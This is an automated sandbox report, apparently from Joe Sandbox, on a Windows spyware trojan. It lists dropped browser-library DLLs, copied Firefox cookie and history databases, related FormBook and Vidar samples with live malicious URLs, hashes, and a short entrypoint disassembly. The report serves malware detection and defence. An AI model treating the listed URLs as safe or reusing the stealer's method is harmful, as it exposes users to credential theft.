Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1640592
Start date and time:	2025-03-17 13:21:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	m0wsoI3.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/16@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 84 Number of non-executed functions: 83
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.60.203.209, 4.245.163.56
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:22:09	API Interceptor	1x Sleep call for process: m0wsoI3.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	Invoice 1425004091.exe	Get hash	malicious	FormBook	Browse	www.tether1.xyz/focp/
	Quotation submitting.exe	Get hash	malicious	FormBook	Browse	www.tgwfj.xyz/b5fo/
	SecuriteInfo.com.Win32.DropperX-gen.24286.1079.exe	Get hash	malicious	Unknown	Browse	jx2chiem.com/updategame/Autoupdate.exe
	finebi.exe	Get hash	malicious	Unknown	Browse	apiapi.mmkinskfn.xyz/jquery-3.3.1.min.js
	Aramco requests.exe	Get hash	malicious	FormBook	Browse	www.shuangunder.shop/udq7/
	UB BO 14-3-2025.exe	Get hash	malicious	FormBook	Browse	www.tether1.xyz/focp/?QHH0=0Vzp&ST=mXJHtAZSrcMVNAYe0Kfq2FJYJcD6dFMzhzcfA/LZkfgqhdihAxT3aslAf9nOYajIz7QizkjlvIUHcb1FopIoHD46K0qUy9lf5cyl621RCgAfM4tktgk7yEk=
	http://track.durgonnews.com/go/WFl20S0IAq9-Rcp4p5aVNA2/	Get hash	malicious	Unknown	Browse	t1.prizepathonyourway.com/aff_c?offer_id=437&aff_id=1357&aff_sub=G312cvpharmshort
	http://188.114.97.3	Get hash	malicious	Unknown	Browse	188.114.97.3/favicon.ico
	Circular No.12-7 Quotation.exe	Get hash	malicious	FormBook	Browse	www.shuangunder.shop/udq7/
	http://sg-adh7.vv.885210.xyz/	Get hash	malicious	Unknown	Browse	sg-adh7.vv.885210.xyz/favicon.ico

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	New requirement Orders.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	imagine_Whatsapp_2025-03-12.img.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	PURCHASE ORDER N0259305-06SN.exe	Get hash	malicious	FormBook	Browse	172.67.222.201
	QUOTATION 03664710859027.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	SHANXI Outward Remittance.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	Sat#U0131nalma Sipari#U015fi Q4-2025-V5560001.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	RFQ 306 & 307.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	http://www.teubes.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	188.114.96.3
	https://check.telavya8.icu/gkcxv.google?i=4876e1f6-ac44-408f-999b-2cd4a9b4a8df%20#%20''I%20am%20not%20a%20'robot'%20-%20%D0%B3e%D0%A1%D0%90%D0%A0%D0%A2%D0%A1%D0%9D%D0%90%20Verification%20ID:%202482''	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://stelladass.co.uk/ra3.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	M6gQuZPvgY.exe	Get hash	malicious	Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, Stealc, Vidar	Browse
	IrAr85Qv7X.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	8BQ2v9glrG.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	BBiIn5gqhd.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	Uin5FyPXbS.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	WTsvUl9X8N.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	DZ1x3hqhbe.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	4bVsmYiuXy.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	SecuriteInfo.com.Win32.Evo-gen.25423.22998.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	PmX1jHdUnS.exe	Get hash	malicious	Oski Stealer, Vidar	Browse

Created / dropped Files

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.807000203861606
Encrypted:	false
SSDEEP:	6144:C8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPowD:CbG7F35BVh8yIZqn65D
MD5:	EF2834AC4EE7D6724F255BEAF527E635
SHA1:	5BE8C1E73A21B49F353C2ECFA4108E43A883CB7B
SHA-256:	A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA
SHA-512:	C6EA0E4347CBD7EF5E80AE8C0AFDCA20EA23AC2BDD963361DFAF562A9AED58DCBC43F89DD826692A064D76C3F4B3E92361AF7B79A6D16A75D9951591AE3544D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: M6gQuZPvgY.exe, Detection: malicious, Browse Filename: IrAr85Qv7X.exe, Detection: malicious, Browse Filename: 8BQ2v9glrG.exe, Detection: malicious, Browse Filename: BBiIn5gqhd.exe, Detection: malicious, Browse Filename: Uin5FyPXbS.exe, Detection: malicious, Browse Filename: WTsvUl9X8N.exe, Detection: malicious, Browse Filename: DZ1x3hqhbe.exe, Detection: malicious, Browse Filename: 4bVsmYiuXy.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.25423.22998.exe, Detection: malicious, Browse Filename: PmX1jHdUnS.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....b.[.........."!.........f......)........................................p.......s....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.78390291752429
Encrypted:	false
SSDEEP:	3072:7Gyzk/x2Wp53pUzPoNpj/kVghp1qt/dXDyp4D2JJJvPhrSeTuk:6yQ2Wp53iO/kVghp12/dXDyyD2JJJvPR
MD5:	8F73C08A9660691143661BF7332C3C27
SHA1:	37FA65DD737C50FDA710FDBDE89E51374D0C204A
SHA-256:	3FE6B1C54B8CF28F571E0C5D6636B4069A8AB00B4F11DD842CFEC00691D0C9CD
SHA-512:	0042ECF9B3571BB5EBA2DE893E8B2371DF18F7C5A589F52EE66E4BFBAA15A5B8B7CC6A155792AAA8988528C27196896D5E82E1751C998BACEA0D92395F66AD89
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...._.[.........."!.....z...................................................@.......3....@A........................@...t.......,.... ..x....................0..h.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1246160
Entropy (8bit):	6.765536416094505
Encrypted:	false
SSDEEP:	24576:Sb5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRSMxkoo:4zW5ygDwnEZIYkjgWjblMSRSMqH
MD5:	BFAC4E3C5908856BA17D41EDCD455A51
SHA1:	8EEC7E888767AA9E4CCA8FF246EB2AACB9170428
SHA-256:	E2935B5B28550D47DC971F456D6961F20D1633B4892998750140E0EAA9AE9D78
SHA-512:	2565BAB776C4D732FFB1F9B415992A4C65B81BCD644A9A1DF1333A269E322925FC1DF4F76913463296EFD7C88EF194C3056DE2F1CA1357D7B5FE5FF0DA877A66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L....b.[.........."!................w........................................@............@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.539750563864442
Encrypted:	false
SSDEEP:	3072:UAf6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWsqeFwdMIo:p6PbsF4CoT2OeU4SMB
MD5:	A2EE53DE9167BF0D6C019303B7CA84E5
SHA1:	2A3C737FA1157E8483815E98B666408A18C0DB42
SHA-256:	43536ADEF2DDCC811C28D35FA6CE3031029A2424AD393989DB36169FF2995083
SHA-512:	45B56432244F86321FA88FBCCA6A0D2A2F7F4E0648C1D7D7B1866ADC9DAA5EDDD9F6BB73662149F279C9AB60930DAD1113C8337CB5E6EC9EED5048322F65F7D8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....b.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	true
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	true
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\2NOH4EKN

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8616778647394084
Encrypted:	false
SSDEEP:	48:pMtA+IIkCVEq8Ma0D0HOlf/6ykwpLf/UUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:pOCCn8MouB6w9f/MiZqmvJKLPeymwil
MD5:	BDDE4AD11E732420E7ABCCA946B11611
SHA1:	278C3386A37BAFCA507CF4C128600B01B312DDA0
SHA-256:	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
SHA-512:	B29061A507FCAE2CB56155C5C911706E60C798D288968B210A1670C0F0D1D3F7B3B2B2919B946FED47C4975B157A56B557F71AE80A427C85C660F6B37153C9E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................zp....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\CBIEU37Q

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\DBAI5X4O

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, file counter 14, database pages 6, 1st free page 4, free pages 1, cookie 0x17, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	0.7278110469799058
Encrypted:	false
SSDEEP:	24:TLcMkweka6AkbXYFpFNYbau6UwcjPMlVe+xNH/YcBx1zF85z:TIFw/a8LopFMaBU1z+z/rBxBF85z
MD5:	33C0C4D654DAC2854393ABFC830907C2
SHA1:	71283DD2FD0995DCB3C9C1812A513CE797CD6F16
SHA-256:	CE32DB7AD8E852EC4A3D8DE0AE426053AB1DB8F926B9A576330B944948E8B3E8
SHA-512:	46D73F3653FCFBE5746AFF0A05700E0AD02426FE9C390BCDE98D2468EAF613FD2FA7AD8A720895297B0CD5FB64AA3CE1C3858CAFE2A4850938830241CF09B686
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................zp.........g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\HVKX4WTJ

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\LFKFUKFU

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, file counter 2, database pages 41, 1st free page 29, free pages 1, cookie 0x25, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	0.45909911068154247
Encrypted:	false
SSDEEP:	96:OpdTxQ+ALqL/uejzH+bF+UIYysX0lj/twfLyl0e9S8E:OpdT7IqL/tH+bF+UI3i67Kylj9
MD5:	89783266A93C429FCFB9CE049053FCCD
SHA1:	AC70D1404CB8588DBB685165154CA6FD01942CCE
SHA-256:	AF2420C3F982037DA346ACB0722E54A466547DCCFC54C44EA84FBC1401DC15BC
SHA-512:	BD3C480D62EDF9CA8F23BB17E39405E9EE2EE705EEE832F738D4C3AE5C16E3317A1822C07373CB49A8E704B3DA3D7BDC95544208C1C369322E7F8CE2E2DE93CF
Malicious:	false
Preview:	SQLite format 3......@ .......)...........%......................................................zp....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\QIEKNGVA

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.124003908482409
Encrypted:	false
SSDEEP:	384:KUM2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:Kkq+n0E91LyKOMq+8iP5GLP/0
MD5:	9BAA153ED70603FD15DF786AC77CA09F
SHA1:	44545D11CD105F8581D462A9FB010E9E8B7F7E9C
SHA-256:	B65E528EB61299BFF399BC1087E2CBEAC836EC20A783EDC379606212CAEAA9BD
SHA-512:	74B18EF4ED04AEB447E724BD6C0E1B88D047E5A7C7FA891C1F18FC4F012327BA0BB39E0C4E404E506F3D587D101513FA0B586AEEB23CD1F159611D15B9637F91
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\VA16PHVS

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\ZUKFK6PZ

Download File

Process:	C:\Users\user\Desktop\m0wsoI3.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 5, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	139264
Entropy (8bit):	1.1358713074177111
Encrypted:	false
SSDEEP:	192:ulsfoVZkNi61n1ulH51pX6ErGVupU2olwJAoPqfPk:ulsfoQx1n1ulH5zBGVupUheOoPqfM
MD5:	13164CFD3BAA7DE8D1C5671186B1DAAE
SHA1:	E06CFA1657AE15F4487A7D33D75BEF55435C9340
SHA-256:	14378F81625FC47D38270E5AB1644994C5D45BC0191C36B385631256C176D90D
SHA-512:	BEA3B3322AD879E9008DFCADAF3283BF4788708AD6CF76EFEF25576BC6A54B508BE48A133A3F32E45A244865BBA892CDFA580B06BBA2BFCA86291DE533D5855D
Malicious:	false
Preview:	SQLite format 3......@ .......D...........J......................................................zp...........<........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.2515185253874845
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	m0wsoI3.exe
File size:	163'328 bytes
MD5:	599e5d1eea684ef40fc206f71b5d4643
SHA1:	5111931bba3c960d14b44871950c62249aeefff7
SHA256:	2321c97ec6ac02f588357ad3d72df237f3042054f603851587c59eaef5ceb13c
SHA512:	842149b31140a4f42597e016ecb8cb22f8e98919ac5e5cc646543fce78e021a022c1a67376856251463a342b51d7d8a16322b1b90bc817e76952e8bb08df0ac0
SSDEEP:	3072:UjXEYZz5R/aCt5EwQvIlrycM7HNQoHPK9gsrk3rFXjo5JSp8Bb8EG:i/2Ct5EwQvIl9M7nHPK9dSc8EG
TLSH:	F8F3D021C5B8BFBFEC3B453C7E357B385AAE291471081A3B624D147080627664FE65AF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................M.......................\|.......N.....Rich....................PE..L...B;8b...................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x43c0b2
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62383B42 [Mon Mar 21 08:45:54 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	4e06c011d59529bff8e1f1c88254b928

Entrypoint Preview

Instruction
push ebp
sub ebp, 01h
jne 00007F2C407F381Dh
pop ebp
mov eax, dword ptr fs:[00000030h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+14h]
mov edi, dword ptr [eax+10h]
call 00007F2C407F3825h
pop esi
lea edx, dword ptr [edi+00001000h]
lea ecx, dword ptr [edx+0001C800h]
lea ebx, dword ptr [esi+00000273h]
lea ebp, dword ptr [ebx+20h]
push edx
push ecx
push ebx
push ebp
call 00007F2C407F3739h
add esp, 10h
lea eax, dword ptr [edi+00008430h]
jmp eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
